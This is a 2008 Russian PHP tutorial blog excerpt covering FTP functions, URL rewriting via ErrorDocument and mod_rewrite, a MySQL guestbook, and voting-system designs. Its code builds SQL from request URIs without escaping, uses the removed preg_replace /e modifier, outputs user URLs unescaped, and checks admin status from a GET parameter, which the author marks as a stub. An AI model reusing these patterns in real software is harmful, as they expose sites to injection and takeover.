if ($HTTP_X_FORWARDER_FOR) $body .= “Ваш IP через прокси: <b>$HTTP_X_FORWARDER_FOR</b><br />\n”;
?>
<h1><i><?=$id?></i> <?=$a[$id]?></h1>
<p><?=$body?></p>
<?=$GLOBALS[’SERVER_SIGNATURE’]?>

Желаю всем удачного программирования и 200-го кода!

Автор: fox++
http://foxweb.net.ru/

Tags: 404, Apache, error, php

Добавить комментарий Март 21, 2008

Работаем с FTP на уровне PHP

Я почти на 100% уверен , что вы уже работали с FTP. Сейчас я поведаю, как работать с ним на уровне языка PHP. Итак , для начала вам необходимо вспомнить, как работать в PHP с обычными файлами: сначала надо открыть файл, выполнить с ним какие-либо действия и, наконец, закрыть его. Причем при записи и чтении файла вы не обойдетесь без помощи функции “fopen” (если только вы не используете функцию “file”).

Итак, теперь, собственно, про сам FTP.

Работа с FTP начинается с открытия “потока” (stream) и делается это функцией “ftp_connect()” (аналогично функции fopen в работе с файлами).
ftp_connect(”имя хоста”,”порт”,”timeout”);

Вместо “имя хоста” пропишите имя сайта, к которому вы хотите подключиться. В параметре “порт” укажите ftp-порт удаленного сервера (обычно “21″), а в “timeout” - на какое время (в секундах) вы хотите открыть соединение. Результат выполнения функции нужно присвоить какой-либо переменной, в нашем примере это переменная $open.

Пример:
$open = ftp_connect(”ftp.server.com”, 21, 30);

Для входа по вашему аккаунту на сервере воспользуйтесь функцией “ftp_login()”.

Пример:
ftp_login($open, “your_username”, “your_password”);

А лучше это сделать следующим образом:
if (!ftp_login($open, “your_username”, “your_password”)) exit(”Не могу соединиться”);

Параметр “your_username” должен содержать ваш username для входа, а “your_password” - соответственно, ваш пароль. Переменная $open является идентификатором соединения с ftp узлом, к которому вы подключились с помошью “ftp_connect”.

Все. Если вышеуказанный код не выдал вам никаких ошибок, значит вы успешно подключились к ftp узлу.

А теперь поговорим о функциях работы с FTP:

Функция ftp_mkdir() создаёт директорию, пример:
ftp_mkdir($open,”test”); //Создали папку “test”.

Функция ftp_rmdir удалит папку:
ftp_rmdir($open,”test”); //Удалили ранее созданную нами папку папку “test”.

Переименовать файл можно функцией “ftp_rename()”:
ftp_rename($open,”test.txt”,”ok_test.txt”);

Мы переименовали “test.txt” в “ok_test.txt” , вместо “test.txt” может быть любой другой файл.

Просмотреть содержимое вашего каталога можно следующим образом:
$site = ftp_nlist($open,”");
$d = 5;
for ($i = 0; $i < $d; $i++) echo $site[$i];

Функция “ftp_nlist()” возвращает один файл из вашего каталога , если вам нужно просмотреть все файлы, то ее сдедует использовать в цикле, как сделано выше.

Функция “ftp_size()” возвращает размер файла, либо значение “-1″ в случае неудачи:
echo ftp_size($open, “test.txt”);

Вам может понадобится узнать дату последнего изменения файла . Это осуществимо с помощью функции ftp_mdtm (учтите, что время возвращается в UNIX-формате):
$mod = ftp_mdtm($open,”test.txt”);
echo $mod;

Заметьте, функция не работает с директориями. Для удаления файла воспользуйтесь функцией ftp_delete(), например:
ftp_delete($open,”test.txt”);

Закрывается же соединение функцией “ftp_close()”.
ftp_close($open);

Эта функция аналогична функции fclose() при работе с файлами, в нашем примере идентификатор соединения находится в переменной “$open”. Теперь просто фрагмент бессмысленного кода :
ftp_connect(”ftp.hot.ee”,”21″,”100″);
if(!ftp_login($open,”prosto_user”,”ahahaha”))
exit(”Не могу соединиться”);
mkdir($open,”test”); //Создали директорию
rmdir($open,”test”); //Удалили директорию
rename($open,”test.txt”,”test_i_eche_raz_test.txt”);
//Переименовали файл
ftp_close($open); //Закрыли поток

Всё, на этом первая глава заканчивается . Здесь дано только представление о возможностях PHP относительно FTP, если как говорится руки дойдут, то напишу вторую главу про FTP , в которой расскажу всё более подробно.

Спасибо за внимание :)

Автор: Лисовский Сергей(crawtz)

Источник http://www.codenet.ru

Tags: FTP, php, файл

Добавить комментарий Март 20, 2008

Имитация файлов и директорий

Имитация файлов и директорий

Адрес вашего сайта появляется на пользовательском экране одновременно с дизайном и контентом. Поэтому адрес является полноправной частью сайта. Адрес типа www.фирма.ру (www.фирма.город.ру), естественно, гораздо лучше, чем www.geocities.com/Gonduras/San-Pedrillio/~наша_фирма, кто спорит. А вот по вопросу понятных человеку адресов внутри сайта общественность четкого консенсуса пока не нашла.

Однако пользователю приятнее было бы видеть адрес типа /services/special/ чем /content.phtml?q=e23908a234cc239b3445127.

Лирическое отступление. Помню, на Интернити-99 мне показали флэш-ролик Hewllett Packard Laser Jet 3100. Через пару недель я вспомнил про него и решил скачать его из дома. Я бы долго бродил в бесполезных поисках по сайту Лексмарк (чего вы смеетесь, это так и было!), если бы не их адреса. На HP адреса были понятные - что-то вроде “/products/printers/laserjet/3100″, а на сайте Лексмарка было вот именно это непонятное “q=492898748273″. Я был в сомнениях, но через день вспомнил-таки, что это был HP :).

Кстати, на этом сайте адреса выпусков, версий для печати и всех информационных страниц (ссылки, файлы и т.д.) виртуальные, файлов с такими названиями не существует.

Делается это достаточно просто. В файле .htaccess пишутся строчки, например
ErrorDocument 404 all.php
ErrorDocument 403 all.php
ErrorDocument 401 all.php

Файл all.php обрабатывает переменную $REQUEST_URI и, если нужная информация найдена, выдает команду
header (”HTTP/1.0 200 Ok”);

Это необходимо для того, чтобы браузер IE 4 считал, что страница найдена, а не подставлял вместо нее свою служебную вывеску “адрес не найден”. В остальных случаях, даже если запрошен адрес “all.php”, пользователю будет выдаваться сообщение о том, что файл не найден.

Если при вызове функции header сервер ругается матом “Error 500″ - смотрите здесь и здесь.

Конечно же, выдать заголовок и нарисовать страницу - нехитрое дело. Отслеживание результатов запросов, проверка на ошибки - это скорее рутина. Самое ответственное дело - разбор запрашиваемого адреса.

Тут приемов много. Например, у меня версия для печати и страница отзывов ищутся по регулярным выражениям:
if (preg_match(”/(d+)-comment/A”, $url, $res)) …

А потом из переменной $res[0] беру номер выпуска и проверяю наличие его в базе. Адрес из нескольких поддиректорий можно, например, при помощи взрыва :)
$dir = explode(”/”, $url);

и потом обрабатывать подстроки по одной (перед взрывом надо убрать из начала и конца строки слеши).

Кстати, перед тем, как писать материал, я честно отправил письмо на info@lenta.ru с вопросом, используется ли у них такой метод обработки запроса или там действительно существуют директории. Мне не ответили. Не буду гадать, как у них сделано, напишу, как бы я делал обработку адреса.
if (preg_match(”/([a-z]+)/(d{4})/(d{2})/(d{2})/([a-z]+)/A”, $url, $match)) {
$request = “SELECT news_id FROM news, rub WHERE news.rub_id=rub.rub_id AND
rub_address=’”. $match[1]. “‘ AND
news_date LIKE ‘”. $match[2]. “-”. $match[3]. “-”. $match[4]. “‘ AND
news_address=’”. $match[5]. “‘”;

Этот запрос делается просто для проверки, есть ли такая новость в базе. А потом в зависимости от результата выдается либо страница с новостью, либо какая-нибудь ругань (или главная страница рубрики/сайта).

А вот как я проверяю адреса на этом сайте:
if (preg_match(”/(d+)-print/A”, $url, $res)) {
// версия для печати
}
elseif (preg_match(”/(d+)-comment/A”, $url, $res)) {
// все отзывы
}
elseif (!preg_match(”/D/”, $url)) {
// полная версия выпуска
}
else {
// либо остальные рубрики, либо адрес не найден
};

Кстати, у себя я как честный человек выдаю header(”HTTP/1.0 200 Ok”) только если выпуск/рубрика найдены.

И еще один пример. Допустим, рубрики сайта построены как дерево, а таблица в базе выглядит так:
CREATE TABLE rubrika (
id TINYINT NOT NULL AUTO_INCREMENT,
parent_id TINYINT,
address VARCHAR(16) NOT NULL,
title VARCHAR(128) NOT NULL,
rub_text TEXT NOT NULL,
PRIMARY KEY (id),
UNIQUE address (address)
);

Что такое title и rub_text - объяснять не надо. Поле address - это адрес, по которому будет запрашиваться рубрика (новости нужно сделать рубрикой первого уровня, и в поле address будет “news”). Поле parent_id - идентификатор рубрики уровнем выше.

Теперь, если рубрики заведомо не могут быть ниже второго уровня, анализ адреса не составит особого труда.
$url = $REQUEST_URI;

// убираем слеши из начала и конца адреса
$url = ereg_replace(”^/”, “”, $url);
$url = ereg_replace(”/$”, “”, $url);
$dir = explode(”/”, $url)

// случай, когда запрошена рубрика второго уровня.
if (sizeof($dir)==2) {

// составляется запрос, объединяющий таблицу rubrika саму с собой.
//Здесь надо заметить только, что таблица first подразумевает рубрику
// второго уровня, а second, наоборот, первого.
$request = “SELECT first.id, first.title, first.rub_text FROM
rubrika first, rubrika second WHERE
first.parent_id=second.id AND first.address=’”. $dir[1]. “‘ AND
second.address=’”. $dir[0]. “‘”;

// Отправляем запрос в базу, а потом обрабатываем результат.
$result = mysql_query($request);

if (!mysql_error() && @mysql_num_rows($result)==1) {

}

// Это на случай, если запрос прошел успешно, но ничего не найдено
elseif (!mysql_error()) {

}

// …и на случай, если произошла ошибка.
else
die (”Ошибка БД. MySQL пишет: “. mysql_error());
}

// Запрошена рубрика первого уровня. тут и делать-то нечего :)
elseif (!ereg(”/”, $url)) {
$request = “SELECT id, title, rub_text FROM rubrika WHERE address=’$url’”;

};

Хватит примеров? Дальше - дело фантазии. Подведем итоги, распишем положительные и отрицательные моменты.
Плюсы
Красивые адреса, возможность зайти в рубрику, набрав ее адрес на клавиатуре. Благодарность от фанатов клавиатуры.
Уменьшение количества файлов, уменьшение количества повторяющихся операций в разных файлах.
Централизация вывода. Сбор большинства операций в единой точке входа.
Скрытие некоторой технологической части сайта.
Минусы
Увеличение ресурсоемкости за счет проверки адреса и компиляции большого файла вместо нескольких маленьких.
Сложность с введением новых параметров (я, можно сказать, удачно вывернулся с версией для печати, но было бы более логично видеть адреса типа /13/print). Кое-что придется сбрасывать, например в куки.
Кое-что, например, поиск, так и останется вне “точки входа” (хотя… “How IT works” делает поиск в адресе, но для более-менее сложного сайта это будет неудобно или невозможно).
Дополнительные сложности с адресами картинок и навигации по сайту (броузер-то мерит все адреса относительно открытого документа, пусть даже из несуществующего адреса).

Напоследок: в этом выпуске я использовал кучу регулярных выражений, поэтому (и по просьбам читателей) обещаю в скором времени затронуть эту тему.
Имитация файлов и директорий. Часть 2

В прошлом выпуске я описал работу с ЧПУ (”человекопонятные УРЛы”) через ошибку #404. Сам пользуюсь именно этой схемой. Но через день после публикации материала свой отзыв написал Константин Шевченко (aka cat) и предложил мне рассказать публике о других способах работы с адресами на сайте. Он же меня и консультировал.

В отзывы, так же написали, что это серьезно грузит систему. Да, грузит. И я об этом честно написал. И еще одна поправка: диалог в отзывах

Посетитель: А интересно, что скажут поисковики на этот мнимый ErrorDocument?

Я: Поисковики считают такие адреса нормальными - они делят всё на 200 Ok и 404 Not Found. А остальное им по барабану.

Поисковики, конечно же, не делят все на 200 и 404. Они знают и другие коды сервера, просто никто не может проверить на уровне программ, существует ли документ, который прислал сервер или нет. Если код 200, значит существует и доступен. И ничего более.

Потом Юра Буров написал по поводу предыдущего материала в “Еженедельках”. Однако, это не все, что можно написать, как думает он.

Одна вещь, которую забыл описать в предыдущем выпуске - виртуальный файловый архив. Через ErrorDocument вполне возможно отслеживать запросы к несуществующей директории download и выдавать запрошенные файлы из базы, а администратор сайта мог бы работать с этим архивом через веб-форму. Чтобы правильно выдавать тип файла (content-type), нужно брать его тогда, когда его закачивает администратор. В таблице файлов сделать дополнительное поле, в котором хранить эти типы, и выдавать их в заголовке. Разумеется, произойдет снижение производительности сервера.

А теперь о том, что описал Костя. Перечислю способы по возрастанию сложности (порядок, впрочем, спорный).
Сервер ищет файл с тем же именем

Оказывается, достаточно прописать в установках директории (httpd.conf или .htaccess) строку Options Multiviews или, если директива Options уже есть, добавить MultiViews к ней. Тогда если пользователь набирает “<адрес директории>/foo/bar”, сервер будет искать файл с именем “foo” и с любым расширением. Найденный с наибольшим совпадением (вот это для меня загадка) файл он обработает с его типом mime, то есть если есть news.php, а набран адрес news/, то сервер отдаст адрес на обработку php. Если это картинка, то сервер отдаст ее браузеру именно как картинку (послав соответствующий заголовок content-type). А в news.php разбираем $REQUEST_URI. Например, если новости выводятся целой лентой, либо за определенную дату, разбор можно сделать таким:
/* Первый вариант - когда набран адрес типа “/news/010120″, возможно с
// дробью на конце. Символы ^ и $ здесь обозначают привязку к началу и
// концу строки. Подстрока [0-9]{6} означает 6 цифр (если у вас новости
// могут быть датированы 1999-м годом и раньше, используйте адреса с
// полным форматом года и 8 цифр вместо 6). */
if (ereg(”^/news/([0-9]{6})$”, $REQUEST_URI, $match) ||
ereg(”^/news/([0-9]{6})/$”, $REQUEST_URI, $match)) {

}

/* второй вариант - набран адрес просто “/news” или “/news/” */
elseif (ereg(”^/news/$”, $REQUEST_URI) || ereg(”^/news$”, $REQUEST_URI)) {

}

/* запросы ко всем остальным адресам (в этом файле) считаются попытками
// взлома сайта */
else
die (”Error 404 Not found”);

То же самое можно сделать, например, с каталогом продукции фирмы - вынести все это дело в отдельный файл catalogue.php, а адреса сделать вида “/catalogue/rubrik1/rubrik2/rubrik3″. При этом в файле catalogue.php начало строки будет откусываться, а дальше можно обработать по принципу, описанному в предыдущем выпуске. Остальное же можно отправить, опять же, в ErrorDocument.
Сервер разбирает запрос

Метод похожий, но на вскидку менее ресурсоемкий, потому что не приходится искать файлы по директории.

В установках директории (опять же httpd.conf или .htaccess) пишем:
<FilesMatch “^(news)$”>
ForceType application/x-httpd-php
</FilesMatch>

В директории лежит файл с именем “news” (именно “news”, без расширения). Когда запрашивается адрес “/news”, либо “/news/bla-bla-bla”, сервер выполняет файл news как php-скрипт. А внутри него производится обработка переменной $REQUEST_URI.

Чтобы не писать для каждого подобного файла свой блок FilesMatch, нужно немного изменить строку шаблона. Пусть сервер ищет файлы без расширения, то есть те, у которых в имени нет точки:
<FilesMatch “^([^\.]+)$”>

Очень удобно! Когда-нибудь поставлю такое же и себе.
Сервер переписывает запросы

Очень полезная вещь mod_rewrite. Ею можно сделать все вышеописанное, и много другого.

К сожалению, моя битва с mod_rewrite не увенчалась успехом (Костя пишет, что нижеописанного достаточно для работы Rewrite Engine под Unix. У меня под win98 - ни в какую…). Поэтому описываю очевидные вещи и то, что описал Костя.

Для начала надо раскомментировать строку
LoadModule mod_rewrite <путь к модулю/имя файла>

в httpd.conf. В конфигурации директории пишем строку “RewriteEngine On”. Затем - команду RewriteRule: RewriteRule <шаблон> <замена>

Например RewriteRule ^(.*).html$ /otherdir/$1.html (все без кавычек). Вот, собственно, и все. Все, что я так и не смог проверить : Я спросил у ясеня, я спросил у тополя, я спросил у форума… форум не ответил мне. (мелодично) Я спрошу у публики… На всякий случай, спрашиваю у уважаемой публики: как запустить Rewrite Engine под win98 se + apache/1.3.14 + php/4.0.4-Antonio (установлен как модуль) ?

А пока еще один пример (опять же от Шевченко):
RewriteEngine On
RewriteRule ^(.*).htm$ /portal/$1

<FilesMatch “(portal)$”>
ForceType application/x-httpd-php
</FilesMatch>

Там лежит один файл с именем “portal”, в который перенаправляются все запросы к html-файлам в данной директории. И получается, как будто там лежат файлы.

Напоследок вспомним Ленту.ру.

Вот здесь, в са-а-амом конце Носик говорит про ресурсоемкость их технологии. “Издательская машинка, написанная Максимом Евгеньевичем Мошковым, (который библиотека) интересна тем, что она весит около 60Kb”

Не знаю, что из себя представляет эта система (скорее всего, скомпилированный ), гадать не буду. Мне хотелось бы прикинуть, как динамическую адресацию можно реализовать через php. Впрочем, тут не в нем дело - был бы Апач. Итак, схема адресов <рубрика>/<год>/<месяц>/<день>/<новость>. Если отрезать имя новости, получим материалы рубрики за день. Если отрезать день, месяц и год, получим последние материалы рубрики.
RewriteRule ^([a-z]+)/$ rubika_last/$1
RewriteRule ^([a-z]+)/([0-9]{4})/([0-9]{2})/([0-9]{2})/$ rubrika_date/$1/$2-$3-$4
RewriteRule ^([a-z]+)/([0-9]{4})/([0-9]{2})/([0-9]{2})/([a-z]+)/$ rubrika_news/$1/$2-$3-$4/$5

<FilesMatch “^rubrika”>
ForceType application/x-httpd-php
</FilesMatch>

Преимущества этого метода по сравнению с единой точкой входа EerrorDocument очевидны: движок php интерпретирует только то, что будет выполняться. Никаких switch/case или if/elseif/else, никаких лишних строк.

Все остальное - отдаем ErrorDocument “как в предыдущей задаче”.

Источник http://phpclub.ru/

Tags: mod_rewrite, php, файл

Добавить комментарий Март 19, 2008

Гостевая книга на PHP/MySQL

Сегодня расскажу вам о том, как написать гостевую книгу на PHP и MySQL. Ничего сложного в этом нет, да и возможности данной гостевой не самые большие: постраничный вывод записей, проверка вводимых данных, возможность удалять записи.

Допустим, что у вас уже есть PHP, MySQL и веб-сервер. Вы всё установили и настроили.

Начнём с создания таблицы, в которой будут храниться данные нашей гостевой книги. Будем спрашивать у пользователя имя и комментарий. При желании пользователь сможет сообщить адреса электронной почты и домашней странички. Для администрирования книги нам понадобится ещё одно поле, уникальное для каждой записи, - идентификатор. Ну и дата, конечно. В итоге получается такая таблица:
CREATE TABLE gb (
id int(10) unsigned NOT NULL auto_increment,
datetime datetime DEFAULT ‘0000-00-00 00:00:00′ NOT NULL,
name varchar(100) NOT NULL,
email varchar(100),
www varchar(100),
message text NOT NULL,
PRIMARY KEY (id)
);

Таблица у нас есть. Теперь можно приступать к программированию.

Для создадим файл с настройками гостевой книги:
<?php
// общие константы
define(’PATH’, ‘/gb/’); // путь к гостевой книге
define(’RECSPERPAGE’, 10); // количество записей на одной странице
define(’ADMIN_EMAIL’, ‘artem@sapegin.ru’); // email администратора
define(’ERROR_LOG_FILE’, ‘logs/error.log’); // файл лога ошибок

// Параметры БД
define(’DBHOST’, ‘localhost’); // имя хоста
define(’DBUSER’, ‘root’); // имя пользователя
define(’DBPASSWD’, ”); // пароль
define(’DBNAME’, ‘test’); // имя базы данных
?>

Теперь подумаем, какие вспомогательные функции нам понадобятся. На нужно будет взаимодействовать с СУБД, проверят и обрабатывать вводимые пользователем данные. Так же для функций администрирования на понадобится отличать администратора от простых пользователей.

Начнём с работы с СУБД.
<?php
/** recource db_connect ( string host, string user, string passwd, string dbname )
* Подключение к СУБД и открытие базы данных
*/
function db_connect($host, $user, $passwd, $dbname)
{
$link = mysql_pconnect($host, $user, $passwd) or die(’Could not connect to database’);
mysql_select_db($dbname) or die(’Could not select database’);
return $link;
}

/** Выполняет запрос к БД
*
* @param текст запроса
* @return resource id
*/
function db_query($query)
{
$result = mysql_query($query)
or die(’Bad database query’);
return $result;
}

/** Выполняет запрос к БД (placeholder)
*
* @param текст запроса
* @param*
* @return resource id
*/
function db_query_ex($query)
{
$values = func_get_args();
array_shift($values);
$i = 0;
return db_query(preg_replace(’%\?%e’, ‘”\’”.addslashes($values[$i++]).”\’”‘,
$query));
}
?>

Обработка строк (проверка и фильтрация вводимых пользователем данных).
<?php
/**
* Проверяет является ли строка адресом e-mail
*/
function strings_isemail($string)
{
return preg_match(’%[-\.\w]+@[-\w]+(?:\.[-\w]+)+%’, $string);
}

/**
* Добавление ссылок на http и e-mail
*/
function strings_addlinks($string)
{
return preg_replace(
‘%((?:http|ftp)://[-\w]+(?:\.[-\w]+)+\b[-\w:@&?=+,!/~*$\.\’\%]*)(?<![\.,?!)])%i’,
‘<a href=”\\1″>\\1<a>’,
$string
);
}

/**
* Чистка строки
*/
function strings_clear($string)
{
$string = trim($string);
$string = stripslashes($string);
return htmlspecialchars($string, ENT_QUOTES);
}

/**
* Обрезание строки
*/
function strings_stripstring($text, $wrap, $length)
{
$text = preg_replace(’%(\S{’.$wrap.’})%’, ‘\\1 ‘, $text);
return substr($text, 0, $length);
}
?>

Написание аутентификации администратора я оставляю вам в качестве домашнего задания. Есть достаточно много способов и их обсуждение - тема отдельной статьи. Я приведу лишь функцию-заглушку:
<?php
/**
* Проверка: администратор или обычный пользователь
*/
function auth_is_admin()
{
return @$_GET[’admin’];
}
?>

Далее идёт достаточно большой модуль, в котором содержится почти весь HTML-код гостевой книги, - шаблон. В нём нет ничего сложного и его написание можно вполне под силу верстальщику сайта, если у вас таковой имеется.
<?php
/**
* заголовок страницы
*/
function template_header($page)
{
?><html>
<head>
<title>page <?=$page?> < fjGuestbook Demo</title>
<style>
body{
padding: 15px;
margin: 0;
color: #333;
background-color: #eee;
border-left: 30px solid #adba8e;
font: 500 .9em verdana, arial, helvetica;
}
a:link{color: #250;}
a:visited{color: #639;}
a:active,a:hover{
color: #c00;
text-decoration: underline;
}
h1 { font-size: 150%; }
h2 { font-size: 110%; }

.c{margin-bottom: 10px;}
.cn{
background-color: #d2d6bc;
padding: 2px 4px;
margin-bottom: 4px;
}
</style>
</head>
<body>
<h1>fjGuestbook Demo</h1><?php
}

/**
* окончание страницы
*/
function template_footer()
{
?>
<p>fjGuestbook 1.2. Copyright © 2002—2004
<a href=”http://sapegin.ru”>Artem Sapegin</a></p>
</body></html>
<?php
}

/**
* форма добавления новой записи
*/
function template_form($name, $email, $www, $message, $error)
{
// вывод сообщения об ошибке
function error($error)
{
if($error) echo ‘<br><font color=#880000>’.$error.
‘</font>’;
}

echo ‘<h2>Добавить новое сообщение</h2>
<p><table cellspacing=”2″ cellpadding=”2″ border=”0″>
<form action=’.PATH.’?add=1 method=post><tr>
<td>Имя<font color=#880000>*</font>:</td>
<td><input type=text name=”name” size=30
maxlength=100 value=”‘.$name.’”>’;
@error($error[’name’]);
echo ‘</td>
</tr><tr>
<td>Email:</td>
<td><input type=text name=”email” size=30
maxlength=100 value=”‘.$email.’”>’;
@error($error[’email’]);
echo ‘</td>
</tr><tr>
<td>URL:</td>
<td><input type=text name=”www” size=30
maxlength=100 value=”‘.$www.’”>’;
echo ‘</td>
</tr><tr>
<td>Сообщение<font color=#880000>*</font>:</td>
<td><textarea cols=40 rows=5
name=”message”>’.$message.’</textarea>’;
@error($error[’message’]);
echo ‘</td>
</tr><tr>
<td> </td>
<td><small><font color=#880000>*</font>
— Обязательные поля</small></td>
</tr><tr>
<td> </td>
<td><input name=”sb” type=submit
value=”Добавить сообщение”></td>
</form></tr>
</table>’;
}

/**
* печать одной записи гостевой книги
*/
function template_show_body($id, $name, $email, $www, $message, $datetime)
{
$out = ‘<div class=c><div class=cn><b>’.$name.’</b>’;
// если есть email или homepage - печатаем их
if($email || $www)
{
$out .= ‘( ‘;
if($email)
$out .= ‘ <a href=mailto:’.$email.’>email</a>’;
if($email && $www)
$out .= ‘ | ‘;
if($www)
$out .= ‘ <a href=’.$www.’>www</a>’;
$out .= ‘ )’;
}
$out .= ‘ пишет ‘.$datetime.’:</div>’.$message.’</div>’;
// если гостевую книгу просматривает администратор - печатаем кнопку
// удаления записи
if(auth_is_admin())
{
$out .= ‘<div class=c>[ <a href=’.PATH.’?admin=1&del=’.$id.
‘>удалить</a> ]</div>’;
}

return $out;
}

?>

И вот, мы наконец-то дошли до главного. До модуля гостевой книги. Постараюсь написать побольше комментариев, чтобы вам было понятно.
<?php
/**
* Создание таблицы, если её ещё нет
*/
function gb_install()
{
db_query(
‘CREATE TABLE IF NOT EXISTS gb (
id int(10) unsigned NOT NULL auto_increment,
datetime datetime NOT NULL default \’0000-00-00 00:00:00\’,
name varchar(100) NOT NULL default \’\',
email varchar(100) default NULL,
www varchar(100) default NULL,
message text NOT NULL,
PRIMARY KEY (id),
INDEX (datetime)
) TYPE=MyISAM;’
);
}

/**
* Добавление записи в гостевую книгу
*/
function gb_add($name, $email, $www, $message, &$error)
{
// проверяем правильность заполнения полей
$error = ”;
if(empty($name))
$error[’name’] = ‘Это обязательное поле’;
if(empty($message))
$error[’message’] = ‘Это обязательное поле’;
if(!empty($email) && !strings_isemail($email))
$error[’email’] = ‘Это не email’;

// если не было ошибок - добавляем
if(!$error)
{
// чистим данные
$name = strings_clear($name);
$message = strings_clear($message);
$name = strings_stripstring($name, 15, 100);
$email = strings_stripstring($email, 100, 100);
$www = strings_stripstring($www, 100, 100);
$message = strings_stripstring($message, 100, 2000);
$message = nl2br($message);

// если пользователь поленился написать http:// перед адресом - сделаем
// это за него
if(!empty($www) && ‘http://’ != substr($www, 0, 7))
$www = ‘http://’.$www;

// запрос на добавление записи в базу данных
db_query_ex(’INSERT INTO gb (name, email, www, message, datetime)
VALUES(?, ?, ?, ?, NOW())’, $name, $email, $www, $message);
// перекидываем браузер на первую страницу
// это нужно, чтобы, если пользователь нажмет кнопку Refresh,
// запись не добавилась еще раз
header(’Location: ‘.PATH.”?page=1″);
}
}

// удаление записи из гостевой книги
function gb_delete($id)
{
// запрос на удаление записи из базы данных
// WHERE id = ‘.$id указывает на запись, которую следует удалить
db_query_ex(’DELETE FROM gb WHERE id = ?’, $id);
header(’Location: ‘.PATH.”?page=1″); // ???
}

// вывод страницы с записями
function gb_show($page)
{
// положение первой записи страницы
$begin = ($page - 1) * 10;
// выборка записей из базы данных
// SELECT * FROM gb - все поля из бд gb
// ORDER BY datetime DESC - сортировка по дате, новые сверху
// LIMIT ‘.$begin.’,’.RECSPERPAGE - ограничение:
// RECSPERPAGE (см. defines.php) записей начиная с $begin
$result = db_query(’SELECT * FROM gb ORDER BY datetime DESC LIMIT ‘.
$begin.’, ‘.RECSPERPAGE);
$out = ”;

// цикл по всем выбранным записям
while($row = mysql_fetch_array($result))
$out .= template_show_body($row[’id’], $row[’name’], $row[’email’],
$row[’www’], $row[’message’], $row[’datetime’]);

// уничтожаем результат
mysql_free_result($result);

echo $out;
}

// вывод списка страниц
function gb_showpages($current)
{
// узнаем число записей в гостевой книге
$result = db_query(’SELECT * FROM gb’);
$rows = mysql_num_rows($result);
if($rows)
{
$pages = ceil($rows / RECSPERPAGE);

// печатаем ссылки на страницы (номер текущей страницы не является ссылкой)
echo ‘<div class=c>’;
for($i = 1; $i <= $pages; $i++)
{
if($i != $current)
echo ‘ | <a href=’.PATH.’?page=’.$i.’>’.$i.’</a>’;
else
echo ‘ | ‘.$i;
}
echo ‘ |’;

// если это не полследняя страница печатаем ссылку “Дальше”
if($current < $pages)
echo ‘ >a href=’.PATH.’?page=’.($current + 1).
‘>Дальше >></a>’;
echo ‘</div>’;
}
}

?>

И последнее - объединяем всё вместе.
<?php
/**
* fjGuestbook 1.2
*
* Ядро гостевой книги
*
* Copyright 2002-2004 Artem Sapegin
* http://sapegin.ru
*/

// подключаем модули
require_once ‘my/defines.php’;
require_once ‘my/template.php’;

require_once ‘engine/lib/strings.php’;
require_once ‘engine/lib/auth.php’;
require_once ‘engine/lib/bd.php’;
require_once ‘engine/gb.php’;

// подключаемся к БД
db_connect(DBHOST, DBUSER, DBPASSWD, DBNAME);

// создаём таблицу, если её нет
gb_install();

// получаем данные формы, если форма была отправлена
if (!empty($_POST[’sb’]))
{
$name = @$_POST[’name’];
$email = @$_POST[’email’];
$www = @$_POST[’www’];
$message = @$_POST[’message’];
$formerr = ”;
}
else
{
$name = $email = $www = $message = $formerr = ”;
}

// если в GET-запросе не указан номер страницы, выводим первую
if(is_numeric(@$_GET[’page’]))
$page = $_GET[’page’];
else
$page = 1;

// если нужно добавить запись, добавляем
if(@$_GET[’add’])
gb_add($name, $email, $www, $message, $formerr);

// если нужно удалить запись, удаляем
if(isset($_GET[’del’]) && auth_is_admin())
gb_delete(intval($_GET[’del’]));

// печатаем гостевую книгу
template_header($page);
gb_showpages($page);
gb_show($page);
gb_showpages($page);
template_form($name, $email, $www, $message, $formerr);
template_footer();

?>

Как видите, ничего сложного не было. Но если вопросы всё же возникнут - спрашивайте - постараюсь помочь.

Вы так же можете скачать гостевую книгу.

Автор: Artem Sapegin
http://sapegin.ru

Источник: http://www.codenet.ru

Tags: MySQL, php

Добавить комментарий Март 18, 2008

Системы голосований на РНР

Виват, дорогие читатели ! Сегодня, в этот ничем не знаменательный день, а может быть совершенно наоборот, я написал “это”, а сейчас вам предстоит всё “это” прочитать, а самое главное понять. Сегодня мы с вами посвятим время такой теме, как “Системы голосований на РНР”.

Да, на сегоднешний день этой довольно интересной теме посвященны целые горы статей, но как-то маловато статей рассказывают всё чётко и во всех мелочах. Именно про эти мелочи и чётко мы сейчас и поговорим. Наверное больше половины из вас участвовали в разных интерактивных голосования, форумных pool’ах, и в прочей дребедени. Но как это всё построено ? На каком алгоритме это всё “пашет” ?

А алгоритмов существует великое множество. Сейчас я перечислю самые популярные среди разработчиков:

XML- вопрос и ответы, храняться в одном XML файле, с которого через парсер и “достают” все данные для обеспечения работы голосований.

Хранение данных в файле - этот тип хранения более популярен чем его XML-ий товарищ. Принцип такой: вопрос помещаеться в первую строку файла, после построчно выводятся варианты ответа, а через некий разделитель количество голосов. Однако в отличие от предыдущего данный метод требует больше времени для написания, и немного ограничивает возможности.

Хранение данных в БД (способ №1) - этот способ являеться самым рациональным, ведь он не требует особых ментальных усилий, при этом обеспечивая высокую продуктивнось, но для него, во-первых, требуеться наличие БД, во-вторых, этот метод занимает много физической памяти базы данных. Мы рассмотрим его в самом начале. Принцип таков: вопрос и прочие статические данных располагаються в некой абстрактной таблице “а”, при этом ответы в таблице “б”. На каждый ответ приходится ряд “р”, таблице “а”, который имеет ссылку на номер голосования находящегося в таблице “а”. То есть между таблицей “а” и “б” устанавливаеться прямая связь. Почему я сказал, что этот способ требует немалого пространства в БД ? Так потому, что под каждый ответ выделяеться отдельный столбец, а это крайне не рационально в случае при работе с БД.

Хранение данных в БД (способ №2) - этот способ самый сложный среди всех вышеперечисленных, однако он не занимает много место, при этом он совмещает ответы, вопрос, и количество ответов в отной таблице, и в этой таблице ряд отводиться под всё голосование в целом, хотя эта компактность компенсируеться повышеной сложностью обновления данных, и засчёт каждого нового голоса. Принцип в том, что все ответы помещаються в одну строку, при чём в особом порядке, так, что позиции каждого ответа соответствует позиция значения количества голосов, людей которые проголосовали именно за этот вариант. Так же поле вариантов ответов, и соответственно количества голосов будут кодироваться в формате base64, для уменьшения размера конечной строки.

Всё, это были все варианты выполнения алгоритма процесса голосования, которые мы сегодня рассмотрим.

